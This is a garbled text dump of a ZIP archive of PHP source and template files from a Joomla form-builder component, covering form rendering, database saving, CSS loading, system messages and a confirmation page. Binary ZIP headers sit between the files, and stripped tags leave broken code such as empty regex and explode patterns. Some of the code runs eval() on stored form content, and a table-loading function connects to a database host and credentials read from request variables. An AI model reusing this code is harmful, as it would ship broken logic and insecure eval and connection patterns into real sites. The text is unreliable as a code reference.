      PKs>\Ʋ8U8U=com_chronoforms/form_actions/show_html/cfaction_show_html.phpnuW+Aparams); $output = ''; $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document = JFactory::getDocument(); //set form's HTML name and ID $form->html_form_name = isset($form->html_form_name) ? $form->html_form_name : $form->form_params->get('html_form_name', $form->form_name); $form->html_form_id = isset($form->html_form_id) ? $form->html_form_id : $form->form_params->get('html_form_id', 'chronoform_'.$form->form_name); //check the assets files to be loaded if((int)$form->form_params->get('load_files', 1) > 0){ //load form css files if((bool)$form->form_params->get('tight_layout', 0) === false){ $document->addStyleSheet($uri->root().'components/com_chronoforms/css/frontforms.css'); }else{ $document->addStyleSheet($uri->root().'components/com_chronoforms/css/frontforms_tight.css'); } } if(($form->form_params->get('enable_jsvalidation', 1) || (strpos($form->form_details->content, 'validate[') !== false && $form->form_params->get('auto_detect_settings', 1))) && (int)$form->form_params->get('load_files', 1) > 0){ //load js validation code $this->_loadValidationScripts($form); } $datetime_picker_selector = $form->form_params->get('datepicker_config', ''); if((!empty($datetime_picker_selector) || strpos($form->form_details->content, 'cf_date_picker') !== false || strpos($form->form_details->content, 'cf_time_picker') !== false || strpos($form->form_details->content, 'cf_datetime_picker') !== false) && (int)$form->form_params->get('load_files', 1) > 0){ //load js for the date time picker $jversion = new JVersion(); if(($jversion->RELEASE > 1.5) && $form->form_params->get('datepicker_type', 0) == 1){ $this->_loadDatePickerScripts_moo($form); }else{ $this->_loadDatePickerScripts($form); } } if((strpos($form->form_details->content, 'tooltipimg') !== false) && (int)$form->form_params->get('load_files', 1) > 0){ //load the tooltips files $this->_loadToolTip($form); } if(!empty($form->validation_errors) && (int)$form->form_params->get('load_files', 1) > 0){ //add the validation style $this->_loadSSValidation($form); } //check if form tags should be added or not if($form->form_params->get('add_form_tags', 1)){ $output .= "
      form_params->get('action_url', ''))){ $form_tag_array[] = 'action="'.$form->form_params->get('action_url', '').'"'; }else{ $action_url = 'index.php?option=com_chronoforms&chronoform='.$form->form_name; if($form->form_params->get('relative_url', 1) == 1){ $action_url = $this->selfURL(); if((bool)$form->disguised === true){ //disguise mode, the event will be used as a task for the parent app preg_match_all('/(&*)task=([^&]+)/is', $action_url, $chronoform_matches); $action_url = str_replace($chronoform_matches[0], '', $action_url); $separator = $this->_getURLSeparator($action_url); if(isset($form->data['task']) && !empty($form->data['task']) && strpos($action_url, $form->data['task']) !== false){ //this is propably a SEF URL $action_url = str_replace($form->data['task'], $form->form_params->get('action_task', $params->get('submit_event', 'submit')), $action_url); }else{ $action_url .= $separator.'task='.$form->form_params->get('action_task', $params->get('submit_event', 'submit')); } }else{ preg_match_all('/(&*)event=([^&]+)/is', $action_url, $event_matches); $action_url = str_replace($event_matches[0], '', $action_url); //strip the form name if exists and add own form name preg_match_all('/(&*)chronoform=([^&]+)/is', $action_url, $chronoform_matches); $action_url = str_replace($chronoform_matches[0], '', $action_url); $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.'chronoform='.$form->form_name; } } if((bool)$form->disguised === false){ $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.'event='.$params->get('submit_event', 'submit'); } //check if we are submitting to _self if($params->get('submit_event', 'submit') == '_self'){ preg_match_all('/((&|&|\?)*)(event|task)=([^&]+)/is', $action_url, $event_matches); $action_url = str_replace($event_matches[0], '', $action_url); } //attach the itemid if exists $item_id = JRequest::getVar('Itemid', ''); if(!empty($item_id) && stripos($this->selfURL(), 'Itemid') !== false && strpos($action_url, 'Itemid') === false){ $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.'Itemid='.$item_id; } //attach the session id if it exists in the data array $session_key_param = $form->form_params->get('session_key_param', 'cf_sid'); //if(isset($form->data[$session_key_param]) && !empty($form->data[$session_key_param])){ if(isset($form->session_token) && !empty($form->session_token)){ preg_match_all('/(&*)'.$session_key_param.'=([^&]+)/is', $action_url, $session_key_param_matches); $action_url = str_replace($session_key_param_matches[0], '', $action_url); $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.$session_key_param.'='.$form->session_token; } //fix the ampersand $action_url = str_replace('&', '&', $action_url); $action_url = str_replace('&&', '&', $action_url); $action_url = str_replace('&', '&', $action_url); //add the action URL to the form tag pieces array $form_tag_array[] = 'action="'.$action_url.'"'; } $form_tag_array[] = 'name="'.$form->html_form_name.'"'; $form_tag_array[] = 'id="'.$form->html_form_id.'"'; $enctype = ''; $method = $form->form_params->get('form_method', 'post'); if($method == 'file' || ($form->form_params->get('auto_detect_settings', 1) && (stripos($form->form_details->content, 'type="file"') !== false || stripos($form->form_details->content, "type='file'") !== false))){ $method = 'post'; $enctype = 'enctype="multipart/form-data"'; } //add the form method $form_tag_array[] = 'method="'.$method.'"'; //add the enctype if exists $form_tag_array[] = $enctype; //add the form class $form_tag_array[] = 'class="Chronoform'.$form->form_params->get('html_form_class', '').'"'; //add any attachments if(trim($form->form_params->get('form_tag_attach', ''))){ $form_tag_array[] = $form->form_params->get('form_tag_attach', ''); } //build the form tag $output .= implode(" ", array_filter($form_tag_array)).'>'; } //show error messages $this->_showErrors($form); //echo $output; ob_start(); eval('?>'.$form->form_details->content); $temp_output = ob_get_clean(); //check the page to view if(preg_match("//i", $temp_output)){ $form_pages = explode("", $temp_output); $active_page_index = (int)$params->get('page_number', 1) - 1; $output .= $form_pages[$active_page_index]; }else{ $output .= $temp_output; } //add any extra content $output .= $form->extra_content; //Load any form data if((int)$params->get('data_republish', 1) == 1){ include_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'includes'.DS.'data_republish.php'); $HTMLFormPostDataLoad = new HTMLFormPostDataLoad(); //$HTMLFormPostDataLoad->validation_errors = $form->validation_errors; if(isset($form->data['chrono_verification']) && !empty($form->data['chrono_verification'])){ $form->data['chrono_verification'] = ''; } $output = $HTMLFormPostDataLoad->load($output, $form->data); } //Display any form errors if((int)$params->get('display_errors', 1) == 1){ include_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'includes'.DS.'display_errors.php'); $HTMLFormPostDisplayErrors = new HTMLFormPostDisplayErrors(); $HTMLFormPostDisplayErrors->validation_errors = $form->validation_errors; $output = $HTMLFormPostDisplayErrors->load($output, $form->data); } //Replace curly fields names if((int)$params->get('curly_replacer', 1) == 1){ $output = $form->curly_replacer($output, $form->data, '.', true); } //load token if enabled if((int)$params->get('load_token', 1) == 1){ $output .= JHTML::_('form.token'); } //load keep alive if enabled if((int)$params->get('keep_alive', 0) == 1){ JHTML::_('behavior.keepalive'); } //check if form tags should be added or not if($form->form_params->get('add_form_tags', 1)){ $output .= "
      "; } //check if the form should be inside a div container ? if(strlen(trim($params->get('form_container', ''))) > 0){ $output = '
      '.$output.'
      '; } echo $output; } function _getURLSeparator($url = ''){ $separator = ''; $action_url = $url; if(strpos($action_url, '?') !== false && substr($action_url, -1) != '?'){ $separator = '&'; } if(strpos($action_url, '?') === false){ $separator = '?'; } return $separator; } function _showErrors($form){ if(!empty($form->validation_errors) && $form->form_params->get('show_top_errors', 1)){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document = JFactory::getDocument(); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/error.css'); echo '
      1. '.implode('
      2. ', $this->_normalize($form->validation_errors)).'
      '; } } function _normalize($array = array()){ $return = array(); foreach($array as $k => $v){ if(is_array($v)){ $return = array_merge($this->_normalize($v), $return); }else{ $return[] = $v; } } return $return; } function _loadValidationScripts($form){ if($form->loaded_validation === false){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $form->html_form_name = isset($form->html_form_name) ? $form->html_form_name : $form->form_name; $form->html_form_id = isset($form->html_form_id) ? $form->html_form_id : 'chronoform_'.$form->form_name; $document->addStyleSheet($uri->root().'components/com_chronoforms/css/formcheck/theme/'.$form->form_params->get('jsvalidation_theme', 'classic').'/formcheck.css'); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/formcheck_fix.css'); $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/formcheck-yui.js'); $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/formcheck-max.js'); $validationClass = "FormCheck"; //check for JPanes existance if(strpos($form->form_details->content, 'jimport("joomla.html.pane");') !== false){ //load jpanes validation fix $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/formcheck-jpane.js'); $validationClass = "FormCheckJPane"; } if(((bool)$form->form_params->get('jsvalidation_errors', 1) === true) && ($validationClass == "FormCheck")){ $validationClass = "FormCheckMax"; } if(1){ $lang = JFactory::getLanguage(); $lang_tag = $lang->getTag(); $lang_pcs = explode('-', $lang_tag); $lang_tag = file_exists(str_replace('/', DS, JPATH_SITE.DS.'components/com_chronoforms/js/formcheck/lang/'.$lang_pcs[0].'.js')) ? $lang_pcs[0] : $form->form_params->get('jsvalidation_lang', 'en'); } $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/lang/'.$lang_tag.'.js'); ob_start(); ?> window.addEvent('domready', function() { document.id('html_form_id; ?>').addClass('hasValidation'); formCheck_html_form_name); ?> = new ('html_form_id; ?>', { onValidateSuccess: form_params->get('jsvalidation_onValidateSuccess', "\$empty"); ?>, display : { showErrors : form_params->get('jsvalidation_showErrors', 0); ?>, errorsLocation: form_params->get('jsvalidation_errorsLocation', 1); ?> } }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } //set validation loaded $form->loaded_validation = true; } } function _loadDatePickerScripts($form){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/datepicker/datepicker_dashboard.css'); $document->addScript($uri->root().'components/com_chronoforms/js/datepicker/datepicker.js'); $settings = array( "'.cf_date_picker', {pickerClass: 'datepicker_dashboard', format: 'Y-m-d', inputOutputFormat: 'Y-m-d', allowEmpty: true", "'.cf_datetime_picker', {pickerClass: 'datepicker_dashboard', inputOutputFormat: 'Y-m-d H:i:s', timePicker: true, allowEmpty: true, format: 'd-m-Y H:i:s'", "'.cf_time_picker', {pickerClass: 'datepicker_dashboard', inputOutputFormat: 'H:i:s', timePickerOnly: true, allowEmpty: true, format: 'H:i:s'" ); //$selector = 'dateTimePicker'; $datepicker_ext = $form->form_params->get('datepicker_config', ''); ob_start(); ?> window.addEvent('load', function() { new DatePicker(); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function _loadDatePickerScripts_moo($form){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $cf_url = $uri->root();//($mainframe->isSite()) ? JURI::Base() : $uri->root(); $cf_url .= 'components/com_chronoforms/js/datepicker_moo/'; // you can change the uncommented line here to change the style $datepicker_style = $form->form_params->get('datepicker_moo_style', 'datepicker_dashboard'); //$datepicker_style = 'datepicker_jqui'; //$datepicker_style = 'datepicker_vista'; $document->addStyleSheet($cf_url.$datepicker_style.'/'.$datepicker_style.'.css'); if(1){ $lang = JFactory::getLanguage(); $lang_tag = $lang->getTag(); $lang_tag = file_exists(str_replace('/', DS, JPATH_SITE.DS.'components/com_chronoforms/js/datepicker_moo/Locale.'.$lang_tag.'.DatePicker.js')) ? $lang_tag : 'en-US'; if($lang_tag != 'en-US'){ $document->addScriptDeclaration('Locale.use("'.$lang_tag.'");'); } } $document->addScript($cf_url.'Locale.'.$lang_tag.'.DatePicker.js'); $document->addScript($cf_url.'Picker.js'); $document->addScript($cf_url.'Picker.Attach.js'); $document->addScript($cf_url.'Picker.Date.js'); $settings = array(); // Settings for standard date picker $settings[1]['class'] = '.cf_date_picker'; $settings[1]['options'] = array( "pickerClass: '{$datepicker_style}'", "format: '%Y-%m-%d'", "allowEmpty: true", "useFadeInOut: !Browser.ie" ); // Settings for standard date + time picker $settings[2]['class'] = '.cf_datetime_picker'; $settings[2]['options'] = array( "pickerClass: '{$datepicker_style}'", "format: '%d-%m-%Y %H:%M:%S'", "timePicker: true", "allowEmpty: true", "useFadeInOut: !Browser.ie" ); // Settings for standard time picker $settings[3]['class'] = '.cf_time_picker'; $settings[3]['options'] = array( "pickerClass: '{$datepicker_style}'", "format: '%H:%M:%S'", "pickOnly: 'time'", "allowEmpty: true", "useFadeInOut: !Browser.ie" ); $datepicker_ext = $form->form_params->get('datepicker_config', ''); $script = ""; foreach($settings as $s){ $options = implode(', ', $s['options']); if($datepicker_ext){ $options .= ', '.$datepicker_ext; } $script .= " new Picker.Date($$('{$s['class']}'), { {$options} }); "; } $script = " window.addEvent('load', function() { {$script} }); "; if((bool)$form->form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration($script); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function _loadSSValidation($form){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); ob_start(); ?> window.addEvent('domready', function() { $$('.error-message').each(function(element){ if($chk(element.getParent('.ccms_form_element'))){ element.getParent('.ccms_form_element').addClass('form-error'); } }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function _loadToolTip($form){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document = JFactory::getDocument(); $cf_url = $uri->root(); $cf_url .= 'components/com_chronoforms/css/'; JHTML::_('behavior.mootools'); $document->addStyleSheet($cf_url.'/tooltip.css'); //echo ''; //JHTML::_('behavior.tooltip', '.tooltipimg'); ob_start(); ?> window.addEvent('domready', function(){ //create the tooltips var tipz = new Tips($$('div.tooltipimg'),{ className: 'tooltipbox', fixed: true, hideDelay: 0, showDelay: 0 }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function selfURL() { $uri = JURI::getInstance(); $inbetween = ''; if($uri->getQuery())$inbetween = '?'; //php4 // Now we need to clean what we got since we can't trust the server var $theURI = $uri->getQuery(); $theURI = urldecode($theURI); $theURI = str_replace('"', '"',$theURI); $theURI = str_replace('<', '<',$theURI); $theURI = str_replace('>', '>',$theURI); $theURI = preg_replace('/eval\((.*)\)/', '', $theURI); $theURI = preg_replace('/[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']/', '""', $theURI); //php5 for later //$theURI = filter_var($uri->getQuery(), FILTER_SANITIZE_STRING); return $uri->current().$inbetween.$theURI; } function generateURL($url = '', $addvars = array()){ if(empty($url)){ return $this->selfURL(); }else{ if(!empty($addvars)){ foreach($addvars as $addvar => $varval){ //strip the var name if exists preg_match_all('/(&*)'.$addvar.'=([^&]+)/is', $url, $matches); $url = str_replace($matches[0], '', $url); $separator = $this->_getURLSeparator($url); $url .= $separator.$addvar.'='.$varval; } } return $url; } } } ?>PKs>\)0com_chronoforms/form_actions/show_html/.htaccessnuW+A Order allow,deny Deny from all PKs>\).com_chronoforms/form_actions/db_save/.htaccessnuW+A Order allow,deny Deny from all PKs>\ /com_chronoforms/form_actions/db_save/index.htmlnuW+A PKs>\ 0com_chronoforms/form_actions/db_save/db_save.phpnuW+A 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'DB Table save', 'tooltip' => 'Create/Update a DB table record using the available form data.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $params = new JParameter($actiondata->params); $return = true; //check if a different database connection is needed if($params->get('ndb_enable', 0)){ $option = array(); $option['driver'] = $params->get('ndb_driver', 'mysql');// Database driver name $option['host'] = $params->get('ndb_host', 'localhost');// Database host name $option['user'] = $params->get('ndb_user', '');// User for database authentication $option['password'] = $params->get('ndb_password', '');// Password for database authentication $option['database'] = $params->get('ndb_database', '');// Database name $option['prefix'] = $params->get('ndb_prefix', 'jos_');// Database prefix (may be empty) $database = & JDatabase::getInstance($option); $params->set('table_name', $params->get('ndb_table_name', '')); } //end new db connection $table_name = $params->get('table_name', ''); if(!empty($table_name)){ $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = 'chronoform_data'; } //generate a dynamic model for the table $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $dynamic_model_code = array(); $dynamic_model_code[] = "getCfg('dbprefix'), '', $table_name)."')) {"; $dynamic_model_code[] = "class Table".str_replace($mainframe->getCfg('dbprefix'), '', $table_name)." extends JTable {"; $primary = 'id'; foreach($table_fields as $table_field => $field_data){ $dynamic_model_code[] = "var \$".$table_field." = null;"; if($field_data->Key == 'PRI')$primary = $table_field; } $dynamic_model_code[] = "function __construct(&\$database) {"; if($params->get('ndb_enable', 0)){ $dynamic_model_code[] = "\$db_inst = JDatabase::getInstance(".var_export($option, true).");"; $dynamic_model_code[] = "parent::__construct('".$table_name."', '".$primary."', \$db_inst);"; }else{ $dynamic_model_code[] = "parent::__construct('".$table_name."', '".$primary."', \$database);"; } $dynamic_model_code[] = "}"; $dynamic_model_code[] = "}"; $dynamic_model_code[] = "}"; $dynamic_model_code[] = "?>"; $dynamic_model = implode("\n", $dynamic_model_code); eval("?>".$dynamic_model); //load some variables $user = JFactory::getUser(); $defaults = array( 'cf_uid' => md5(uniqid(rand(), true)), 'cf_created' => date('Y-m-d H:i:s', time()), 'cf_created_by' => $user->id, 'cf_ipaddress' => $_SERVER["REMOTE_ADDR"], 'cf_user_id' => $user->id ); $row = JTable::getInstance(str_replace($mainframe->getCfg('dbprefix'), '', $table_name), 'Table'); //get the data array under the model id if exists $form_data = $form->get_array_value($form->data, explode('.', $model_id)); if((bool)$params->get('save_under_modelid', 0) === false){ $form_data = $form->data;// = $form->set_array_value($form->data, explode('.', $model_id), $form->data); }else{ //if it didn't exist then create an empty one if(!isset($form_data)){ $form_data = array(); //$form->data = $form->set_array_value($form->data, explode('.', $model_id), $form_data); } } //check Parameters fields list if(strlen(trim($params->get('params_fields', ''))) > 0){ $params_fields = explode(",", trim($params->get('params_fields', ''))); foreach($params_fields as $params_field){ if(isset($form_data[$params_field])){ $param_value = $form_data[$params_field];//$form->get_array_value($form->data, explode('.', $params_field)); if(!is_null($param_value) && is_array($param_value)){ $params_field_data = new JParameter(''); foreach($param_value as $k => $v){ if(is_array($v)){ $v = implode(",", $v); } $params_field_data->set($k, $v); } $form_data[$params_field] = $params_field_data->toString(); //$form->data = $form->set_array_value($form->data, explode('.', $params_field), $params_field_data->toString()); } } } } //check if new record or updated one if(isset($form_data[$primary]) && !empty($form_data[$primary])){ //don't merge, just set a modified date $form_data = array_merge(array('cf_modified' => date('Y-m-d H:i:s', time()), 'cf_modified_by' => $user->id), $form_data); $form->data = $form->set_array_value($form->data, explode('.', $model_id), $form_data); }else{ $form_data = array_merge($defaults, $form_data); $form->data = $form->set_array_value($form->data, explode('.', $model_id), $form_data); } if(!$row->bind($form_data)){ $form->debug[] = $row->getError(); $return = false; } if(!$row->store()){ $form->debug[] = $row->getError(); $return = false; } $form->data[strtolower($model_id.'_'.$primary)] = $row->$primary; $form->data = $form->set_array_value($form->data, explode('.', $model_id.'.'.$primary), $row->$primary); return $return; } } function load_tables(){ //print_r2($_GET); $option = array(); $option['driver'] = JRequest::getVar('dbdriver', 'mysql');// Database driver name $option['host'] = JRequest::getVar('dbhost', 'localhost');// Database host name $option['user'] = JRequest::getVar('dbuser', '');// User for database authentication $option['password'] = JRequest::getVar('dbpass', '');// Password for database authentication $option['database'] = JRequest::getVar('dbname', '');// Database name $option['prefix'] = JRequest::getVar('dbprefix', 'jos_');// Database prefix (may be empty) //print_r2($option); $database = & JDatabase::getInstance($option); if(strpos(get_class($database), 'JDatabase') !== false){ $tables = $database->getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } return implode(",", $options); }else{ return "DB Connection Failed!"; } } function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'enabled' => 1, 'model_id' => 'chronoform_data', 'save_under_modelid' => 0, 'params_fields' => '', 'ndb_enable' => 0, 'ndb_driver' => 'mysql', 'ndb_host' => 'localhost', 'ndb_user' => '', 'ndb_password' => '', 'ndb_database' => '', 'ndb_table_name' => '', 'ndb_prefix' => 'jos_' ); } return array('action_params' => $action_params); } } ?>PKs>\a>#>#0com_chronoforms/form_actions/db_save/db_save.ctpnuW+A
      DB Save
      Header(array('basic' => 'Basic', 'advanced' => 'Advanced'), 'db_save_config_{n}'); ?> tabStart('basic'); ?> input('action_db_save_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_db_save_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The db table to which the data will be saved.")); ?> input('action_db_save_{n}_model_id_config', array('type' => 'text', 'label' => "Model ID", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "1- The array key under which the data to be saved will be expected in the \$_POST array.
      2- The array key under which the saved data array will exist after the save process. e.g:\$form->data[model_id]")); ?> input('action_db_save_{n}_save_under_modelid_config', array('type' => 'select', 'label' => 'Save Under Model ID', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should we save the data coming under ths Model ID ONLY ? if yes then your data array should include some array of values under a key name equals your model_id value or no form data will be saved.
      If you don't know what to do then leave it as NO")); ?> input('action_db_save_{n}_params_fields_config', array('type' => 'text', 'label' => "Parameters Fields", 'class' => 'big_input', 'smalldesc' => "List of form fields names which will be treated as Joomla Parameters fields when processed, those fields should be always of type Array, leave empty if you don't know how to use this.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_db_save_{n}_ndb_enable_config', array('type' => 'select', 'label' => 'Save to Different Database', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "This action saves to the default Joomla database by default, but you may choose to save the data to a different database.
      If you don't know what to do then leave it as NO")); ?> input('action_db_save_{n}_ndb_driver_config', array('type' => 'text', 'label' => "DB Driver", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "mysql or mysqli")); ?> input('action_db_save_{n}_ndb_host_config', array('type' => 'text', 'label' => "DB Host", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "usually: localhost")); ?> input('action_db_save_{n}_ndb_user_config', array('type' => 'text', 'label' => "DB User", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The user name which has access to the database")); ?> input('action_db_save_{n}_ndb_password_config', array('type' => 'text', 'label' => "DB User's Password", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "the user's password")); ?>
      input('action_db_save_{n}_ndb_database_config', array('type' => 'text', 'label' => "DB Name", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "the database name")); ?> input('action_db_save_{n}_ndb_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The db table to which the data will be saved.")); ?> input('action_db_save_{n}_ndb_prefix_config', array('type' => 'text', 'label' => "DB Table Prefix", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "the tables' prefix, joomla uses the jos_ prefix usually, but your database may be using something different.")); ?> tabEnd(); ?>
      PKs>\-uu;com_chronoforms/form_actions/load_css/cfaction_load_css.ctpnuW+Aload($form, $actiondata); ?>PKs>\)/com_chronoforms/form_actions/load_css/.htaccessnuW+A Order allow,deny Deny from all PKs>\8~;com_chronoforms/form_actions/load_css/cfaction_load_css.phpnuW+A'.$actiondata->content1); $output .= ob_get_clean(); ob_start(); ?> addStyleDeclaration($script); } } ?>PKs>\ 0com_chronoforms/form_actions/load_css/index.htmlnuW+A PKs>\<~__2com_chronoforms/form_actions/load_css/load_css.ctpnuW+A
      Load CSS
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_css_config_{n}'); ?> tabStart('settings'); ?> input('action_load_css_{n}_content1_config', array('type' => 'textarea', 'label' => "CSS code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'CSS code withOUT syle tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Mainly should be used for CSS code, do NOT use style tags here.
      • You may use PHP code with php tags.

      tabEnd(); ?>
      PKs>\12com_chronoforms/form_actions/load_css/load_css.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Load CSS', 'tooltip' => 'Process and load custom CSS code in the form page.'); function load($clear){ if($clear){ $action_params = array('content1' => ''); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\DVϸ44Fcom_chronoforms/form_actions/add_system_message/add_system_message.phpnuW+A 'Add System Message', 'tooltip' => 'Add a global system message to the system, similar to the messages you get when you save a new Joomla article.'); var $group = array('id' => 'form_utilities', 'title' => 'Utilities'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); switch($params->get('type', 'confirm')){ case "warning": JError::raiseWarning(100, $params->get('message', '')); break; case "notice": JError::raiseNotice(100, $params->get('message', '')); break; case "error": JError::raiseError(100, $params->get('message', '')); break; case "confirm": $mainframe->enqueueMessage($params->get('message', '')); break; } } function load($clear){ if($clear){ $action_params = array( 'message' => '', 'type' => 'confirm' ); } return array('action_params' => $action_params); } } ?>PKs>\)9com_chronoforms/form_actions/add_system_message/.htaccessnuW+A Order allow,deny Deny from all PKs>\aFcom_chronoforms/form_actions/add_system_message/add_system_message.ctpnuW+A
      Add System Message
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'add_system_message_config_{n}'); ?> tabStart('settings'); ?> input('action_add_system_message_{n}_type_config', array('type' => 'select', 'label' => 'Message Type', 'options' => array('confirm' => 'Confirm', 'notice' => 'Notice', 'warning' => 'Warning', 'error' => 'Error'), 'smalldesc' => 'Select the message type.')); ?> input('action_add_system_message_{n}_message_config', array('type' => 'text', 'label' => "Message Text", 'class' => 'medium_input', 'smalldesc' => 'The contents of your message to be shown.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action should help you display a system message (similar to the admin system messages displayed when you save a new user/article/form..etc).

      tabEnd(); ?>
      PKs>\:com_chronoforms/form_actions/add_system_message/index.htmlnuW+APKs>\)8com_chronoforms/form_actions/confirmation_page/.htaccessnuW+A Order allow,deny Deny from all PKs>\oiDcom_chronoforms/form_actions/confirmation_page/confirmation_page.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $events = array('confirm' => 0, 'back' => 0, 'show' => 0); var $details = array('title' => 'Confirmation Page', 'tooltip' => 'Displays a confirmation page which asks the users for their confirmation before proceeding, may conflict with "Anti SPAM" tools.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if(isset($_POST['confirmation_page'])){ if($_POST['confirmation_page'] == '_confirm'){ $this->events['confirm'] = 1; }else if($_POST['confirmation_page'] == '_back'){ $this->events['back'] = 1; } }else{ //show confimration page event $this->events['show'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'buttons' => 1, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\aVMcom_chronoforms/form_actions/confirmation_page/cfaction_confirmation_page.phpnuW+Aparams); $output = '
      '; $output .= $actiondata->content1; if(!isset($_POST['confirmation_page'])){ $buttons_code = ' '; if((int)$params->get('buttons', 1) == 1){ $output .= $buttons_code; } ob_start(); eval("?>".$output); $output = ob_get_clean(); $output .= '
      '; return $form->curly_replacer($output, $form->data); } } function selfURL(){ $uri = JURI::getInstance(); $inbetween = ''; if($uri->getQuery())$inbetween = '?'; return $uri->current().$inbetween.$uri->getQuery(); } } ?>PKs>\ 9com_chronoforms/form_actions/confirmation_page/index.htmlnuW+A PKs>\SFMcom_chronoforms/form_actions/confirmation_page/cfaction_confirmation_page.ctpnuW+AloadAction($form, $actiondata); ?>PKs>\Am]m m Dcom_chronoforms/form_actions/confirmation_page/confirmation_page.ctpnuW+A
      Confirmation Page
